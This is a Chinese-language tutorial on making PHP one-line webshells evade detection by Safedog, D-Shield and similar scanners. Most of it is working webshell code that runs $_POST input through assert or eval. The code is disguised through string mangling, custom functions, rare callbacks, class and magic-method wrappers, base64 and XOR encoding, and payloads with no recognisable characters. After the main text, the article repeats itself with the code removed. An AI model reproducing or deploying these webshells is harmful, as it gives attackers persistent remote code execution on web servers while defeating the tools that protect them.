一句话木马的套路
字数 1139 2025-08-18 11:37:57

PHP Webshell免杀技巧详解

0x01 前言

本文全面介绍PHP Webshell的免杀技巧,帮助读者掌握有效的绕过安全检测方法。重点针对安全狗、D盾等常见安全软件的检测机制进行分析。

0x02 eval与assert函数特性

eval函数特点

  • PHP官方说明eval是语言构造器而非函数
  • 不能被可变函数调用
  • 示例错误用法:$a=eval;$a();

assert函数特点

  • 在PHP7.1以上版本已被限制使用
  • 灵活性高于eval,可作为回调函数使用
  • 常用于自动测试套件构建

0x03 字符串变形技巧

通过字符串操作函数变形关键函数名,绕过基于"形"检测的安全狗:

$a = substr_replace("assexx","rt",4);  // 将"assexx"变为"assert"
$a($_POST['x']);

常用字符串函数:

  • ucwords() - 单词首字母大写
  • ucfirst() - 首字母大写
  • trim() - 去除两端空白
  • substr_replace() - 替换字符串部分
  • substr() - 返回字符串部分
  • strtr() - 转换特定字符
  • strtoupper()/strtolower() - 大小写转换
  • str_rot13() - ROT13编码

0x04 定义函数绕过

通过自定义函数分割关键词:

function kdog($a){
    $a($_POST['x']);
}
kdog(assert);

或:

function kdog($a){
    assert($a);
}
kdog($_POST[x]);

0x05 回调函数利用

常见回调函数

已被安全软件标记的回调函数:

  • call_user_func_array()
  • call_user_func()
  • array_filter()
  • array_map()
  • register_shutdown_function()

生僻回调函数

forward_static_call_array()

forward_static_call_array(assert,array($_POST[x]));

0x06 回调函数变形

通过函数封装回调

function test($a,$b){
    array_map($a,$b);
}
test(assert,array($_POST['x']));

通过类封装回调

class loveme {
    var $a;
    var $b;
    function __construct($a,$b) {
        $this->a=$a;
        $this->b=$b;
    }
    function test() {
        array_map($this->a,$this->b);
    }
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();

0x07 特殊字符干扰

连接符干扰

$a = $_POST['a'];
$b = "\n";
eval($b.=$a);

命名空间符号

function dog($a){
    \assert($a);
}
dog($_POST[x]);

0x08 数组技巧

将执行代码放入数组:

$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['q'])];

多维数组:

$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['q'])));

0x09 类与魔术方法

结合魔术方法如__destruct(), __construct()

class me{
    public $a = '';
    function __destruct(){
        assert("$this->a");
    }
}
$b = new me;
$b->a = $_POST['x'];

0x10 编码绕过

Base64编码

$a = base64_decode("YXNz+ZX____J____0");  // 包含干扰字符
$a($_POST[x]);

异或运算

$a=('s'^'a').('s'^'b').('s'^'c').('r'^'d').'t';  // 生成"assert"
$a($_POST[x]);

0x11 无字符特征Webshell

异或与编码组合

$_=('%01'^'!').('%13'^',').('%13'^',').('%05'^'@').('%12'^'#').('%14'^'$');
$_(($_=('%0D'^'/').('%2F'^'@').('%0E'^'#').('%09'^'!'))($_POST[_]));

正则匹配特殊字符

利用Tab等不可见字符转换为可执行代码

POST参数动态获取

$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);

0x12 PHP7.1+的Webshell发展方向

  • 由于assert受限,更多使用eval结合特殊调用方式
  • 更注重字符干扰和混淆技术
  • 大马使用趋势增加
  • 自定义加密传输成为发展方向

总结

绕过思路:

  • 安全狗:主要杀"形",可通过字符串变形绕过
  • D盾:主要杀"参",可通过参数后传入绕过

有效方法:

  1. 使用生僻回调函数
  2. 采用特殊加密方式
  3. 关键词后传入技术
  4. 高度自定义的传输加密

未来发展方向:

  • 客户端自定义加密脚本
  • Webshell端对应解密执行
  • 现有WAF对此类方法检测能力较弱
PHP Webshell免杀技巧详解 0x01 前言 本文全面介绍PHP Webshell的免杀技巧,帮助读者掌握有效的绕过安全检测方法。重点针对安全狗、D盾等常见安全软件的检测机制进行分析。 0x02 eval与assert函数特性 eval函数特点 PHP官方说明eval是语言构造器而非函数 不能被可变函数调用 示例错误用法: $a=eval;$a(); assert函数特点 在PHP7.1以上版本已被限制使用 灵活性高于eval,可作为回调函数使用 常用于自动测试套件构建 0x03 字符串变形技巧 通过字符串操作函数变形关键函数名,绕过基于"形"检测的安全狗: 常用字符串函数: ucwords() - 单词首字母大写 ucfirst() - 首字母大写 trim() - 去除两端空白 substr_replace() - 替换字符串部分 substr() - 返回字符串部分 strtr() - 转换特定字符 strtoupper() / strtolower() - 大小写转换 str_rot13() - ROT13编码 0x04 定义函数绕过 通过自定义函数分割关键词: 或: 0x05 回调函数利用 常见回调函数 已被安全软件标记的回调函数: call_user_func_array() call_user_func() array_filter() array_map() register_shutdown_function() 生僻回调函数 如 forward_static_call_array() : 0x06 回调函数变形 通过函数封装回调 通过类封装回调 0x07 特殊字符干扰 连接符干扰 命名空间符号 0x08 数组技巧 将执行代码放入数组: 多维数组: 0x09 类与魔术方法 结合魔术方法如 __destruct() , __construct() : 0x10 编码绕过 Base64编码 异或运算 0x11 无字符特征Webshell 异或与编码组合 正则匹配特殊字符 利用Tab等不可见字符转换为可执行代码 POST参数动态获取 0x12 PHP7.1+的Webshell发展方向 由于assert受限,更多使用eval结合特殊调用方式 更注重字符干扰和混淆技术 大马使用趋势增加 自定义加密传输成为发展方向 总结 绕过思路: 安全狗:主要杀"形",可通过字符串变形绕过 D盾:主要杀"参",可通过参数后传入绕过 有效方法: 使用生僻回调函数 采用特殊加密方式 关键词后传入技术 高度自定义的传输加密 未来发展方向: 客户端自定义加密脚本 Webshell端对应解密执行 现有WAF对此类方法检测能力较弱